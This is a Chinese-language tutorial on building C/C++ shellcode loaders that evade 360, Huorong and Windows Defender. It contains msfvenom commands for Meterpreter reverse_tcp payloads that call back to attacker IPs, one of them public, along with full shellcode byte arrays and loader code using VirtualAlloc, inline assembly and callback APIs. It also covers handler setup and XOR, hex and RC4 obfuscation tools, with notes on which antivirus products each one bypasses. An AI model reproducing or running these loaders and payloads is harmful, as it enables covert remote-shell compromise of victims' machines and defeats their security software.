Shellcode C/C++免杀,绕过360安全卫士、火绒安全、Defender
C/C++基于cs/msf的上线
首先是测试一下shellcode上线,主要是俩种方法
测试环境
攻击机:kali2023
靶机:win10
msf方法
首先是启动msf
msfconsole
然后msf生成一个shellcode代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.178.141 lport=6688 -f c
或者是x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.178.141 LPORT=6688 -f c
注意这里的x64不同在后面如果没有使用对应的编译环境,可能会造成无法上线
这里生成的一个payload,将其编译实现上线
下面就是运行的c文件基本格式,每次使用替换其中的shellcode即可
#include <Windows.h> #include <stdio.h> #include <string.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" "\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b" "\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" "\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01" "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18" "\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34" "\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01" "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01" "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58" "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00" "\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8" "\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80" "\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xb2\x8d\x68\x02\x00" "\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74" "\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f" "\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10" "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53" "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8" "\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b" "\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e" "\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff" "\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a" "\x00\x53\xff\xd5"; int main() { //方式一:指针执行 /* ((void(*)(void)) & buf)();*/ //方式二:强制类型转换 //((void(WINAPI*)(void))&buf)(); //方式三:申请动态内存加载 /*char* Memory; Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)();*/ //方式四:嵌入汇编加载 //__asm { //lea eax,buf //call eax //} //方式五:汇编花指令 //__asm{ //mov eax, offset shellcode //_emit 0xFF //_emit 0xE0 //} }
注意上面说到小细节,我并没有使用x64所以是x86的,选择Release,否则影响上线结果
成功生成exe文件
接下来打开msf的监听功能
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.178.141 //kali的地址或者全ip 0.0.0.0 set lport 6688 run
把exe文件放到靶机运行,成功监听
cs方法
先开启cs
win10打开cs
选择之前配置好的监听器,注意这里是x64,后面编译的时候要使用x64编译
之后打开.c文件是一个未编译代码,放到上文的编译代码中,注意这里是x64编译,用的方式三,使用.c文件
上传并运行生成的exe文件,发现成功上线
免杀开始
原理
shellcode相对于可执行文件更改更容易,不易损坏
先通过汇编,运行
我们可以通过分析一下这个exe文件时如何上线到正确的地址的,这里联系msf源码中的windows的reverse_tcp.rb进行分析
可以看出在执行完call ebp以后,就执行了设置地址的操作,也就是说在shellcode中存在了反弹连接的ip地址
从执行代码中可以看出,运行玩call eax 才能调用buf
-
lea eax, buf
:这是一条汇编指令,它的作用是将buf
的地址加载到eax
寄存器中。lea
指令不是真正意义上的加载,而是计算出buf
的地址,但是不进行内存访问。 -
call eax
:这是一条汇编中的调用指令,它的作用是调用eax
寄存器中所存储的地址对应的函数。在这里,eax
寄存器中存储的是buf
的地址,所以实际上是调用了buf
所代表的函数。
这段代码的具体作用取决于 buf
所指向的内容,因为它实际上是间接调用了一个函数。
__asm { lea eax,buf call eax }
将生成的exe文件拖入debug程序中,进行分析,开启自动步入
只有运行完call eax 才能出buf的内容,找到 call ebp,下面一个就是ip
16进制转ip,发现是我们kali的ip
下面是16进制转10进制,得到端口
这里便是杀毒软件杀毒的原理,这就是特征,我们只需要将木马程序进行简单的分析,就能得到shell回连的IP地址和端口,如果杀毒软件发现我们的可执行文件是一个木马程序。
特别的像360会上传可疑文件到沙盒进行测试,有时候你上传的木马在监听的时候,可能会有别的ip被监听,这就是沙盒测试
免杀手法测试
找到最好的方法,对杀毒工具进行测试
换加载器
加载器的作用:由于shellcode是一段可以执行的二进制代码,因此需要开辟出一段可以读写可操作的地址来运行shellcode,而这就是加载器的作用。
可以理解为上面的代码除了shellcode就是加载器
因为我们的加载器的特征,各平台杀毒软件都有了已经,所有我们就要用新的,特征没有被锁定
我在网上找了几个加载器试了一下,基本上都过不去
比如说,这几个
//#include "stdafx.h" #include <Windows.h> #include <stdio.h> int main() { char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, shellcode, sizeof(shellcode)); EnumDateFormatsA((DATEFMT_ENUMPROCA)hAlloc , LOCALE_SYSTEM_DEFAULT, (DWORD) 0); }
还有这个
//#include "stdafx.h" #include <Windows.h> #include <stdio.h> int main() { char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, shellcode, sizeof(shellcode)); EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA) hAlloc,LGRPID_SUPPORTED,0); }
估计是放网上都被用烂了,各个平台早就锁定了,要是代码能力好,还是自己写
ShellCode 变异-编码混淆加密算法
Xor Aes Hex Rc4 Rsa 等,可以是网上的加密代码,也可以自己写(自己写肯定是最好的)
1.网上的工具
GitHub - Arno0x/ShellcodeWrapper: Shellcode wrapper with encryption for multiple target languages
先cs来一个shellcode
文件重命名然后运行脚本
python2 shellcode_encoder.py -cpp -cs -py shellcode.raw swq xor
编译加密后的代码,运行文件火绒和360都没过
2.我师傅给我编写的工具(工具就不发出来了)
可以过火绒和360
3、Hex
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117
lport=6688 -f c
CyberChef
https://github.com/ByPassAVTeam/ShellcodeLoader
可以过火绒和360,但是过不了defender
4、Rc4
网络信息安全:RC4加密算法的实现_采用rc4_256加密算法 保证了重要数据在传输过程中的完整-CSDN博客
加密强度很高,惊讶于可以过火绒
也可以过360,但是三分钟之后就不行了,估计360沙盒测试没了
把defender也过了
以上工具仅供参考,但是过几个月甚至几天后,就被各个平台锁定了